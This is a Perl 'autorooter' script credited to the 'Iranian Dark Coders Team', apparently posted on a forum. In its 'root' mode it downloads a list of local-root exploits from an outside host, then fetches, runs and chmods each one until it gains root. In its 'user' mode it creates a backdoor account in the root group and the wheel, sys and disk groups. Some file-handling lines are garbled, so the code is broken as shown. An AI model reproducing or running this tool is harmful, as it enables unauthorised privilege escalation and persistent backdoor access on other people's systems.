13 Years of Service
24%
Code:
>#!/usr/bin/perl
#Iranian Dark Coders Team
#WwW.IDC-TeaM.NeT
#Coded BY M.R.S.CO
#We Are : M.R.S.CO , N3O , G3n3Rall , Nafsh , HijaX
#Friends : b3hz4d , IrIsT , Mr.Xpr , BlacK.King
#IDC AutoRooter Ver 2
#author : M.R.S.CO
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
print q (
------------------------------
| Iranian Dark Coders Team |
------------------------------
| WwW.IDC-TeaM.NeT |
------------------------------
| Coded BY M.R.S.CO |
------------------------------
Usage :
perl idc.pl root ==> Run Autoroot
perl idc.pl user ==> Add Root Perm User
);
if ($ARGV[0] =~ "root" )
{
system("wget http://mrsco.persiangig.com/autoroot/main.idc");
sleep(1);
open (base, "@main=;
close base;
#########################
system("mkdir idc");
$C=0;
foreach $main(@main){
chomp($main);
system("wget " . $main . " -O idc/" . $C);
system("chmod 0777 idc/".$C);
system("./".$C." id > idc/id");
sleep(1);
open (base, "$main=;
close base;
if($main =~ m/root/i)
{
print "\n\n\n\nyou now rooted by 'idc/".$C . "' localroot\n\n" ;
system("id"."\n\n");
goto EN;
}
$C=$C+1;
next;
}
}
if ($ARGV[0] =~ "user" )
{
system "adduser -g 0 idc -G wheel,sys,bin,daemon,adm,disk -d /sf7 -s /bin/sh";
system "passwd idc";
print "User is : idc\n";
print "Pass is : idc\n";
sleep(2);
}
EN:;